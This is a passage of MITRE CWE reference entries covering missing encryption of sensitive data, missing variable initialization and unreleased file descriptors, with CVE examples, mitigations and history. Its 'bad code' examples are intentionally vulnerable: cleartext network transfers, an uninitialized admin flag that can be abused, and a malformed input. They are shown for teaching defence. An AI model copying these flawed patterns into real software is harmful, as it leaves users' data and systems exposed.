else port = (unsigned short)atoi(argv[3]);
server.sin_port = htons(port);
if (connect(sock, (struct sockaddr *)&server, sizeof server) < 0) error("Connecting");
...
while ((n=read(sock,buffer,BUFSIZE-1))!=-1) {

write(dfd,password_buffer,n);
...

While successful, the program does not encrypt the data before writing it to a buffer, possibly exposing it to unauthorized actors.

Example 3

The following code attempts to establish a connection to a site to communicate sensitive information.

(bad code)

Example Language: Java

try {

URL u = new URL("http://www.secret.example.org/");
HttpURLConnection hu = (HttpURLConnection) u.openConnection();
hu.setRequestMethod("PUT");
hu.connect();
OutputStream os = hu.getOutputStream();
hu.disconnect();

}
catch (IOException e) {

//...

}

Though a connection is successfully made, the connection is unencrypted and it is possible that all sensitive data sent to or received from the server will be read by unintended actors.

Observed Examples

Reference	Description
CVE-2009-2272	password and username stored in cleartext in a cookie
CVE-2009-1466	password stored in cleartext in a file with insecure permissions
CVE-2009-0152	chat program disables SSL in some circumstances even when the user says to use SSL.
CVE-2009-1603	Chain: product uses an incorrect public exponent when generating an RSA key, which effectively disables the encryption
CVE-2009-0964	storage of unencrypted passwords in a database
CVE-2008-6157	storage of unencrypted passwords in a database
CVE-2008-6828	product stores a password in cleartext in memory
CVE-2008-1567	storage of a secret key in cleartext in a temporary file
CVE-2008-0174	SCADA product uses HTTP Basic Authentication, which is not encrypted
CVE-2007-5778	login credentials stored unencrypted in a registry key
CVE-2002-1949	Passwords transmitted in cleartext.
CVE-2008-4122	Chain: Use of HTTPS cookie without "secure" flag causes it to be transmitted across unencrypted HTTP.
CVE-2008-3289	Product sends password hash in cleartext in violation of intended policy.
CVE-2008-4390	Remote management feature sends sensitive information including passwords in cleartext.
CVE-2007-5626	Backup routine sends password in cleartext in email.
CVE-2004-1852	Product transmits Blowfish encryption key in cleartext.
CVE-2008-0374	Printer sends configuration information, including administrative password, in cleartext.
CVE-2007-4961	Chain: cleartext transmission of the MD5 hash of password enables attacks against a server that is susceptible to replay (CWE-294).
CVE-2007-4786	Product sends passwords in cleartext to a log server.
CVE-2005-3140	Product sends file with cleartext passwords in e-mail message intended for diagnostic purposes.

Potential Mitigations

Phase: Requirements

Clearly specify which data or resources are valuable enough that they should be protected by encryption. Require that any transmission or storage of this data/resource should use well-vetted encryption algorithms.

Phase: Architecture and Design

Ensure that encryption is properly integrated into the system design, including but not necessarily limited to:

Encryption that is needed to store or transmit private data of the users of the system

Encryption that is needed to protect the system itself from unauthorized disclosure or tampering

Identify the separate needs and contexts for encryption:

One-way (i.e., only the user or recipient needs to have the key). This can be achieved using public key cryptography, or other techniques in which the encrypting party (i.e., the product) does not need to have access to a private key.

Two-way (i.e., the encryption can be automatically performed on behalf of a user, but the key must be available so that the plaintext can be automatically recoverable by that user). This requires storage of the private key in a format that is recoverable only by the user (or perhaps by the operating system) in a way that cannot be recovered by others.

Using threat modeling or other techniques, assume that data can be compromised through a separate vulnerability or weakness, and determine where encryption will be most effective. Ensure that data that should be private is not being inadvertently exposed using weaknesses such as insecure permissions (CWE-732). [REF-7]

Phase: Architecture and Design

Strategy: Libraries or Frameworks

When there is a need to store or transmit sensitive data, use strong, up-to-date cryptographic algorithms to encrypt that data. Select a well-vetted algorithm that is currently considered to be strong by experts in the field, and use well-tested implementations. As with all cryptographic mechanisms, the source code should be available for analysis.

For example, US government systems require FIPS 140-2 certification.

Do not develop custom or private cryptographic algorithms. They will likely be exposed to attacks that are well-understood by cryptographers. Reverse engineering techniques are mature. If the algorithm can be compromised if attackers find out how it works, then it is especially weak.

Periodically ensure that the cryptography has not become obsolete. Some older algorithms, once thought to require a billion years of computing time, can now be broken in days or hours. This includes MD4, MD5, SHA1, DES, and other algorithms that were once regarded as strong. [REF-267]

Phase: Architecture and Design

Strategy: Separation of Privilege

Phases: Implementation; Architecture and Design

When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.

Phase: Implementation

Strategy: Attack Surface Reduction

Use naming conventions and strong types to make it easier to spot when sensitive data is being used. When creating structures, objects, or other complex entities, separate the sensitive and non-sensitive data as much as possible.

Effectiveness: Defense in Depth

Note: This makes it easier to spot places in the code where data is being used that is unencrypted.

Detection Methods

Manual Analysis

The characterizaton of sensitive data often requires domain-specific understanding, so manual methods are useful. However, manual efforts might not achieve desired code coverage within limited time constraints. Black box methods may produce artifacts (e.g. stored data or unencrypted network transfer) that require manual evaluation.

Effectiveness: High

Automated Analysis

Automated measurement of the entropy of an input/output source may indicate the use or lack of encryption, but human analysis is still required to distinguish intentionally-unencrypted data (e.g. metadata) from sensitive data.

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner

Web Services Scanner

Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Network Sniffer

Cost effective for partial coverage:

Fuzz Tester

Framework-based Fuzzer

Automated Monitored Execution

Man-in-the-middle attack tool

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Focused Manual Spotcheck - Focused manual analysis of source

Manual Source Code Review (not inspections)

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Attack Modeling

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	719	OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	720	OWASP Top Ten 2007 Category A9 - Insecure Communications
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	729	OWASP Top Ten 2004 Category A8 - Insecure Storage
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	803	2010 Top 25 - Porous Defenses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	816	OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	818	OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	861	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	866	2011 Top 25 - Porous Defenses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	930	OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	934	OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	963	SFP Secondary Cluster: Exposed Data
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1029	OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1152	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1340	CISQ Data Protection Measures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1366	ICS Communications: Frail Security in Protocols
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1402	Comprehensive Categorization: Encryption

Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reason: Abstraction

Rationale:

CWE-311 is high-level with more precise children available. It is a level-1 Class (i.e., a child of a Pillar).

Comments:

Consider children CWE-312: Cleartext Storage of Sensitive Information or CWE-319: Cleartext Transmission of Sensitive Information.

Notes

Relationship

There is an overlapping relationship between insecure storage of sensitive information (CWE-922) and missing encryption of sensitive information (CWE-311). Encryption is often used to prevent an attacker from reading the sensitive data. However, encryption does not prevent the attacker from erasing or overwriting the data.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Failure to encrypt data
OWASP Top Ten 2007	A8	CWE More Specific	Insecure Cryptographic Storage
OWASP Top Ten 2007	A9	CWE More Specific	Insecure Communications
OWASP Top Ten 2004	A8	CWE More Specific	Insecure Storage
WASC	4		Insufficient Transport Layer Protection
The CERT Oracle Secure Coding Standard for Java (2011)	MSC00-J		Use SSLSocket rather than Socket for secure data exchange
Software Fault Patterns	SFP23		Exposed Data
ISA/IEC 62443	Part 3-3		Req SR 4.1
ISA/IEC 62443	Part 3-3		Req SR 4.3
ISA/IEC 62443	Part 4-2		Req CR 4.1
ISA/IEC 62443	Part 4-2		Req CR 7.3
ISA/IEC 62443	Part 4-2		Req CR 1.5

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-157	Sniffing Attacks
CAPEC-158	Sniffing Network Traffic
CAPEC-204	Lifting Sensitive Data Embedded in Cache
CAPEC-31	Accessing/Intercepting/Modifying HTTP Cookies
CAPEC-37	Retrieve Embedded Sensitive Data
CAPEC-383	Harvesting Information via API Event Monitoring
CAPEC-384	Application API Message Manipulation via Man-in-the-Middle
CAPEC-385	Transaction or Event Tampering via Application API Manipulation
CAPEC-386	Application API Navigation Remapping
CAPEC-387	Navigation Remapping To Propagate Malicious Content
CAPEC-388	Application API Button Hijacking
CAPEC-477	Signature Spoofing by Mixing Signed and Unsigned Content
CAPEC-609	Cellular Traffic Intercept
CAPEC-65	Sniff Application Code

References

[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.

[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 9, "Protecting Secret Data" Page 299. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.

[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 17: Failure to Protect Stored Data." Page 253. McGraw-Hill. 2010.

[REF-265] Frank Kim. "Top 25 Series - Rank 10 - Missing Encryption of Sensitive Data". SANS Software Security Institute. 2010-02-26. <https://www.sans.org/blog/top-25-series-rank-10-missing-encryption-of-sensitive-data/>. URL validated: 2023-04-07.

[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Common Vulnerabilities of Encryption", Page 43. 1st Edition. Addison Wesley. 2006.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	CLASP
2006-07-19 (CWE Draft 3, 2006-07-19)
Contributions
Contribution Date	Contributor	Organization
2023-11-14 (CWE 4.14, 2024-02-29)	participants in the CWE ICS/OT SIG 62443 Mapping Fall Workshop
2023-11-14 (CWE 4.14, 2024-02-29)	Contributed or reviewed taxonomy mappings for ISA/IEC 62443
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Time_of_Introduction
2008-08-15		Veracode
2008-08-15	Suggested OWASP Top Ten 2004 mapping
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2009-10-29	CWE Content Team	MITRE
2009-10-29	updated Common_Consequences, Other_Notes
2010-02-16	CWE Content Team	MITRE
2010-02-16	updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Likelihood_of_Exploit, Name, Observed_Examples, Potential_Mitigations, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings, Time_of_Introduction
2010-04-05	CWE Content Team	MITRE
2010-04-05	updated Related_Attack_Patterns
2010-06-21	CWE Content Team	MITRE
2010-06-21	updated Common_Consequences, Potential_Mitigations, References
2010-09-27	CWE Content Team	MITRE
2010-09-27	updated Potential_Mitigations
2010-12-13	CWE Content Team	MITRE
2010-12-13	updated Demonstrative_Examples, Observed_Examples, Related_Attack_Patterns
2011-03-29	CWE Content Team	MITRE
2011-03-29	updated Demonstrative_Examples
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Relationships, Taxonomy_Mappings
2011-06-27	CWE Content Team	MITRE
2011-06-27	updated Relationships
2011-09-13	CWE Content Team	MITRE
2011-09-13	updated Potential_Mitigations, Relationships
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Demonstrative_Examples, References, Relationships, Taxonomy_Mappings
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations, References
2013-07-17	CWE Content Team	MITRE
2013-07-17	updated Relationship_Notes
2014-02-18	CWE Content Team	MITRE
2014-02-18	updated Related_Attack_Patterns
2014-06-23	CWE Content Team	MITRE
2014-06-23	updated Relationships
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07	CWE Content Team	MITRE
2015-12-07	updated Related_Attack_Patterns
2017-01-19	CWE Content Team	MITRE
2017-01-19	updated Related_Attack_Patterns
2017-05-03	CWE Content Team	MITRE
2017-05-03	updated Related_Attack_Patterns
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Likelihood_of_Exploit, Modes_of_Introduction, Potential_Mitigations, References, Relationships
2018-03-27	CWE Content Team	MITRE
2018-03-27	updated References, Relationships
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Related_Attack_Patterns, Relationships, Type
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated References, Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Potential_Mitigations, Relationships
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Relationships
2022-06-28	CWE Content Team	MITRE
2022-06-28	updated Relationships
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description, Potential_Mitigations
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated References, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes, Relationships
2024-02-29 (CWE 4.14, 2024-02-29)	CWE Content Team	MITRE
2024-02-29 (CWE 4.14, 2024-02-29)	updated Taxonomy_Mappings
Previous Entry Names
Change Date	Previous Entry Name
2008-04-11	Failure to Encrypt Data

2010-02-16	Failure to Encrypt Sensitive Data

Weakness ID: 456

View customized information:

Description

The product does not initialize critical variables, which causes the execution environment to use unexpected values.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	909	Missing Initialization of Resource
CanPrecede	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
CanPrecede	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
CanPrecede	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
CanPrecede	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	457	Use of Uninitialized Variable

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	665	Improper Initialization

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	665	Improper Initialization

Modes Of Introduction

Phase	Note
Implementation

Applicable Platforms

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Integrity Other	Technical Impact: Unexpected State; Quality Degradation; Varies by Context The uninitialized data may be invalid, causing logic errors within the program. In some cases, this could result in a security problem.

Demonstrative Examples

Example 1

This function attempts to extract a pair of numbers from a user-supplied string.

(bad code)

Example Language: C

void parse_data(char *untrusted_input){

int m, n, error;
error = sscanf(untrusted_input, "%d:%d", &m, &n);
if ( EOF == error ){

die("Did not specify integer value. Die evil hacker!\n");

}
/* proceed assuming n and m are initialized correctly */

}

This code attempts to extract two integer values out of a formatted, user-supplied input. However, if an attacker were to provide an input of the form:

(attack code)

123:

then only the m variable will be initialized. Subsequent use of n may result in the use of an uninitialized variable (CWE-457).

Example 2

Here, an uninitialized field in a Java class is used in a seldom-called method, which would cause a NullPointerException to be thrown.

(bad code)

Example Language: Java

private User user;
public void someMethod() {

// Do something interesting.
...

// Throws NPE if user hasn't been properly initialized.
String username = user.getName();

}

Example 3

This code first authenticates a user, then allows a delete command if the user is an administrator.

(bad code)

Example Language: PHP

if (authenticate($username,$password) && setAdmin($username)){

$isAdmin = true;

}
/.../

if ($isAdmin){

deleteUser($userToDelete);

}

The $isAdmin variable is set to true if the user is an admin, but is uninitialized otherwise. If PHP's register_globals feature is enabled, an attacker can set uninitialized variables like $isAdmin to arbitrary values, in this case gaining administrator privileges by setting $isAdmin to true.

Example 4

In the following Java code the BankManager class uses the user variable of the class User to allow authorized users to perform bank manager tasks. The user variable is initialized within the method setUser that retrieves the User from the User database. The user is then authenticated as unauthorized user through the method authenticateUser.

(bad code)

Example Language: Java

public class BankManager {

// user allowed to perform bank manager tasks
private User user = null;
private boolean isUserAuthentic = false;

// constructor for BankManager class
public BankManager() {

...

}

// retrieve user from database of users
public User getUserFromUserDatabase(String username){

...

}

// set user variable using username
public void setUser(String username) {

this.user = getUserFromUserDatabase(username);

}

// authenticate user
public boolean authenticateUser(String username, String password) {

if (username.equals(user.getUsername()) && password.equals(user.getPassword())) {

isUserAuthentic = true;

}
return isUserAuthentic;

}

// methods for performing bank manager tasks
...

}

However, if the method setUser is not called before authenticateUser then the user variable will not have been initialized and will result in a NullPointerException. The code should verify that the user variable has been initialized before it is used, as in the following code.

(good code)

Example Language: Java

public class BankManager {

// user allowed to perform bank manager tasks
private User user = null;
private boolean isUserAuthentic = false;

// constructor for BankManager class
public BankManager(String username) {

user = getUserFromUserDatabase(username);

}

// retrieve user from database of users
public User getUserFromUserDatabase(String username) {...}

// authenticate user
public boolean authenticateUser(String username, String password) {

if (user == null) {

System.out.println("Cannot find user " + username);

}
else {

if (password.equals(user.getPassword())) {

isUserAuthentic = true;

}

}
return isUserAuthentic;

}

// methods for performing bank manager tasks
...

}

Example 5

This example will leave test_string in an unknown condition when i is the same value as err_val, because test_string is not initialized (CWE-456). Depending on where this code segment appears (e.g. within a function body), test_string might be random if it is stored on the heap or stack. If the variable is declared in static memory, it might be zero or NULL. Compiler optimization might contribute to the unpredictability of this address.

(bad code)

Example Language: C

char *test_string;
if (i != err_val)
{

test_string = "Hello World!";

}
printf("%s", test_string);

When the printf() is reached, test_string might be an unexpected address, so the printf might print junk strings (CWE-457).

To fix this code, there are a couple approaches to making sure that test_string has been properly set once it reaches the printf().

One solution would be to set test_string to an acceptable default before the conditional:

(good code)

Example Language: C

char *test_string = "Done at the beginning";
if (i != err_val)
{

test_string = "Hello World!";

}
printf("%s", test_string);

Another solution is to ensure that each branch of the conditional - including the default/else branch - could ensure that test_string is set:

(good code)

Example Language: C

char *test_string;
if (i != err_val)
{

test_string = "Hello World!";

}
else {

test_string = "Done on the other side!";

}
printf("%s", test_string);

Observed Examples

Reference	Description
CVE-2020-6078	Chain: The return value of a function returning a pointer is not checked for success (CWE-252) resulting in the later use of an uninitialized variable (CWE-456) and a null pointer dereference (CWE-476)
CVE-2009-2692	Chain: Use of an unimplemented network socket operation pointing to an uninitialized handler function (CWE-456) causes a crash because of a null pointer dereference (CWE-476).
CVE-2020-20739	A variable that has its value set in a conditional statement is sometimes used when the conditional fails, sometimes causing data leakage
CVE-2005-2978	Product uses uninitialized variables for size and index, leading to resultant buffer overflow.
CVE-2005-2109	Internal variable in PHP application is not initialized, allowing external modification.
CVE-2005-2193	Array variable not initialized in PHP application, leading to resultant SQL injection.

Potential Mitigations

Phase: Implementation

Check that critical variables are initialized.

Phase: Testing

Use a static analysis tool to spot non-initialized variables.

Detection Methods

Automated Static Analysis

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	808	2010 Top 25 - Weaknesses On the Cusp
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	867	2011 Top 25 - Weaknesses On the Cusp
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	884	CWE Cross-section
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	998	SFP Secondary Cluster: Glitch in Computation
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1129	CISQ Quality Measures (2016) - Reliability
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1131	CISQ Quality Measures (2016) - Security
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1167	SEI CERT C Coding Standard - Guidelines 12. Error Handling (ERR)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1180	SEI CERT Perl Coding Standard - Guidelines 02. Declarations and Initialization (DCL)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1416	Comprehensive Categorization: Resource Lifecycle Management

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Notes

Relationship

This weakness is a major factor in a number of resultant weaknesses, especially in web applications that allow global variable initialization (such as PHP) with libraries that can be directly requested.

Research Gap

It is highly likely that a large number of resultant weaknesses have missing initialization as a primary factor, but researcher reports generally do not provide this level of detail.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Missing Initialization
Software Fault Patterns	SFP1		Glitch in computation
CERT C Secure Coding	ERR30-C	CWE More Abstract	Set errno to zero before calling a library function known to set errno, and check errno only after the function returns a value indicating failure
SEI CERT Perl Coding Standard	DCL04-PL	Exact	Always initialize local variables
SEI CERT Perl Coding Standard	DCL33-PL	Imprecise	Declare identifiers before using them
OMG ASCSM	ASCSM-CWE-456
OMG ASCRM	ASCRM-CWE-456

References

[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 7, "Variable Initialization", Page 312. 1st Edition. Addison Wesley. 2006.

[REF-961] Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". ASCRM-CWE-456. 2016-01. <http://www.omg.org/spec/ASCRM/1.0/>.

[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-456. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	PLOVER
2006-07-19 (CWE Draft 3, 2006-07-19)
Modifications
Modification Date	Modifier	Organization
2008-07-01	Sean Eidemiller	Cigital
2008-07-01	added/updated demonstrative examples
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Potential_Mitigations, Time_of_Introduction
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Relationships, Other_Notes, Taxonomy_Mappings
2010-02-16	CWE Content Team	MITRE
2010-02-16	updated Relationships
2010-04-05	CWE Content Team	MITRE
2010-04-05	updated Applicable_Platforms, Demonstrative_Examples
2010-06-21	CWE Content Team	MITRE
2010-06-21	updated Other_Notes, Relationship_Notes
2011-03-29	CWE Content Team	MITRE
2011-03-29	updated Demonstrative_Examples
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2011-06-27	CWE Content Team	MITRE
2011-06-27	updated Common_Consequences, Relationships
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated References, Relationships
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations
2013-02-21	CWE Content Team	MITRE
2013-02-21	updated Name, Relationships
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Taxonomy_Mappings
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated References, Relationships, Taxonomy_Mappings
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Relationships, Type
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships
2020-06-25	CWE Content Team	MITRE
2020-06-25	updated Demonstrative_Examples
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated Demonstrative_Examples, Observed_Examples, Relationships
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Detection_Factors, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes
Previous Entry Names
Change Date	Previous Entry Name
2013-02-21	Missing Initialization

Weakness ID: 775

View customized information:

Description

The product does not release a file descriptor or handle after its effective lifetime has ended, i.e., after the file descriptor/handle is no longer needed.

Extended Description

When a file descriptor or handle is not released after use (typically by explicitly closing it), attackers can cause a denial of service by consuming all available file descriptors/handles, or otherwise preventing other system processes from obtaining their own file descriptors/handles.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	772	Missing Release of Resource after Effective Lifetime

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	404	Improper Resource Shutdown or Release

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	404	Improper Resource Shutdown or Release

Modes Of Introduction

Phase	Note
Implementation

Common Consequences

Scope	Impact	Likelihood
Availability	Technical Impact: DoS: Resource Consumption (Other) An attacker that can influence the allocation of resources that are not properly released could deplete the available resource pool and prevent all other processes from accessing the same type of resource.

Observed Examples

Reference	Description
CVE-2007-0897	Chain: anti-virus product encounters a malformed file but returns from a function without closing a file descriptor (CWE-775) leading to file descriptor consumption (CWE-400) and failed scans.

Potential Mitigations

Phases: Operation; Architecture and Design

Strategy: Resource Limitation

Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.

When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.

Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	982	SFP Secondary Cluster: Failure to Release Resource
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1416	Comprehensive Categorization: Resource Lifecycle Management

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	FIO42-C	CWE More Abstract	Close files when they are no longer needed
Software Fault Patterns	SFP14		Failure to Release Resource

